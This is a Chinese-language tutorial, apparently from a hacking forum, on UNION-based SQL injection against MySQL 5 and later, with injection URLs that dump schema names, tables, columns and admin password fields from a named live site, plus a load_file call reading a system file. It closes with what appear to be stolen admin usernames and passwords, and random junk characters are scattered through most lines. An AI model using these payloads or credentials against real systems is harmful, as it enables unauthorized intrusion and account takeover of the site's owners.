此方法只适用于Mysql 5.0以及5.0以上版本 注入方法和mysql 5 类似& p8 d! ]# l' J" V
但此方法大大提高了读取数据库的速度,此方法并非本人原创,原创出处是国外某牛人' C( [ }& p* T Y( N3 z
* h: q! Y; ^4 _9 E9 q
9 |% _, e1 i, z/ k' D) @优点在于可以利用information_schema库与group_concat的配合 来达到一次性读取出指定数据库里的内容,并且在limit被限制的情况下依然可以注入- x/ p% A4 z$ T7 r6 x( D
8 F4 [* n; u! Z4 U% t2 I' G缺点 当一个库存在几百甚至几千个表和表字段和数据的时候 读取出数据的时间会相当的慢...
" u) H3 Z9 ]9 c6 Q2 K3 H) x0 o, W; Q7 _" r$ ]$ z a& @
下面用简单实例来演示 原理不多说,相信经常玩注入的朋友都知道了.只挑重要部分实例演示" V0 w* b5 w. b; S# R3 |
在注入时根据实际情况作出变化 比如过滤了空格,使用/**/ , + 等等- Q: t% X' a3 o! `8 L
' H! D* L2 m" ?9 w1 t$ d' J
http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,database(),10,11,12,13,14,15,16,17" y; d* o* D2 }( g
0 D& N% w0 E! F, Y+ o) a; z% Z
读出所有库:
# I1 P+ S; z: u5 t chttp://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(schema_name),10,11,12,13,14,15,16,17 from information_schema.SCHEMATA6 P: O$ u, P) ~$ K+ v9 `; M1 u2 g
' w5 ], D/ A1 Y, U% c: W
( Q' s# }! ?! a+ ~6 s+ i: c; q/ Q S( c3 g6 E
读出所有表:2 s- R e0 R) i
http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(table_name),10,11,12,13,14,15,16,17 from information_schema.tables where table_schema=database()
; D4 f! ~; i% O7 ~
9 v& b2 z! p7 A4 d Y4 X" N读出所有表字段:
( q# P( R$ k) Thttp://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(column_name),10,11,12,13,14,15,16,17 from information_schema.COLUMNS where table_schema=database() and table_name=char(97,100,109,105,110)$ U) @4 h& h/ \+ x" V" |
*/ (97,100,109,105,110)为admin的ascii码 依次类推( g, I% b$ O8 d9 J; _
9 r# [, D( h$ F6 j ]. u4 l ^4 A
读出所有表字段里的内容:1 v6 r! M! a( N( u; D
http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,group_concat(password),group_concat(admin),10,11,12,13,14,15,16,17 from admin
& w& S1 C/ J: p; W2 {* F6 Z) _+ ^: l* E4 q; s
3 Q' Q$ i' s/ [ y: }9 \9 M6 C# U
G- w# D4 U, v7 U, p
# @/ x2 s5 L' a' ]' e& O) B) R8 e7 u* Y8 a) I8 r. X7 w0 h
. W9 i. R, X& k- f3 \http://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),load_file(CHAR(99, 58, 92, 98, 111, 111, 116, 46, 105, 110, 105)),4,5,6,7+%23
0 Y9 N5 }3 `' _8 j/ l
; @# h v7 ]/ T8 p' ~5 l$ r" Y0 d1 \6 C( C- ^ }3 P
http://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(schema_name),4,5,6,7+from+information_schema.schemata%23
5 B1 r! M' m$ D/ c5 |, G3 V: D1 f8 w1 Y. i
http://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(column_name),4,5,6,7+from+information_schema.COLUMNS where table_schema=database()+and+table_name=char(97,100,109,105,110)%23
' L& [3 v( W4 X6 W& g! y* ]1 B5 c5 L7 o& B
8 G7 x8 `( {1 c% v5 ~0 Mhttp://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(admin_name,0x3a,admin_password),4,5,6,7+from+admin%238 v- ~8 q; G9 r: y+ G4 c8 S
: V5 N% `+ \: `; e
0 J: w/ b0 g6 J8 ? webmaster:dzb521123,simlab:simadmin20043233
* k1 Q5 O/ k$ C) T- Y |